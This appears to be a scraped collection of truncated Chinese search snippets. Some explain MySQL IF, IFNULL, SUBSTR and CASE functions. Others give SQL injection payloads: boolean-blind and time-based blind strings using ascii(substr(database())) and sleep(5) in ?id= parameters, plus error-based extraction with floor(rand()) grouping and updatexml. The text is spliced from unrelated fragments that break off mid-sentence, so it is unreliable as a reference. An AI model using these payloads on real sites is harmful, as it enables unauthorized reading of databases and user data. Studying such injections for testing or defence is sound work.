IF( expr1 , expr2 , expr3 ) expr1 的值为 TRUE,则返回值为 expr2 expr1 的值为FALSE,则返回值为 expr3 如下: SELECTIF(TRUE,1+1,1+2);->2SELECTIF(FALSE,1+1,1+2);->3SELECTIF(STRCMP("111","222"),"不相等","相等");->不相等 那么这个 IF 有啥用处呢?举个例子: 查找出售价为 ...
IFNULL(expr1,expr2) IF ELSE 做为流程控制语句使用 IF表达式 IF(expr1,expr2,expr3) 1. 如果expr1 是TRUE (expr1 <> 0 and expr1 <> NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3。IF() 的返回值为数字值或字符串值,具体情况视其所在语境而定。 SELECT IF(sva=1,"男","女") A...
IF(expr1,expr2,expr3),如果expr1的值为真,则返回expr2的值,如果expr1的值为假, 则返回expr3的值。 if(sex=0,'女','男') 如果sex字段值为0,则返回女,否则返回男。 IF(course = '语文', score, 0) 如果course字段值是语文,则返回score的值,否则返回0. Case when then else end函数: case 字段...
-- Oracle、MySQL以及SQLite SELECT SUBSTR('数据库', -2, 2) FROM employee WHERE emp_id = 1; 查询返回的结果如下。 SUBSTR('数据库', -2, 2) --- 据库 其中,-2表示从右往左数第2个字符(“据”),然后再返回2个字符。 提示:MySQL、Microsoft SQL Server以及PostgreSQL提供了LEFT(s, n)和RIGHT...
if(expr1,expr2,expr3):判断语句,如果第一个语句正确就执行第二个语句,如果错误执行第三个语句sleep(n) 将程序挂起一段时间 n单位为秒left(a,b) 从左侧截取a的前b位substr(a,b,c) 从b位置开始,截取字符串a的c长度mid(a,b,c) 从位置b开始,截取a字符串的c位length() 返回字符串的长度Ascii() 将某...
" or (ascii(substr(database(),2,1))>32)--+正常 " or (ascii(substr(database(),2,1))>128)--+不回显 " or (ascii(substr(database(),2,1))>80)--+正常 " or (ascii(substr(database(),2,1))>104)--+不回显 " or (ascii(substr(database(),2,1))>92)--+正常 " or (ascii...
当expre1 为 true 时,返回 expre2,false 时,返回 expre3 ?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+ 布尔盲注 ?id=1' and substr((select user()),1,1)='r' -- +?id=1' and IFNU...
select count(*),concat(0x3a,0x3a,database(),0x3a,floor(rand()*2))name from information_schema.tables group by name;先生成随机数,并取证,然后用分号将不同的数据拼接,并取别名name,最后将结果以name进行分组并进行统计,能看到统计出的两个不同的取值,0和1。
如果expr1不是NULL,IFNULL()返回expr1,否则它返回expr2 9、updatexml() updatexml(1,concat(0x7e,user(),0x7e),1) 其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误显示user()该函数。但显示出来的内容最多只有32个字符串;利用原理对他是对XML文档进行更新的函数;...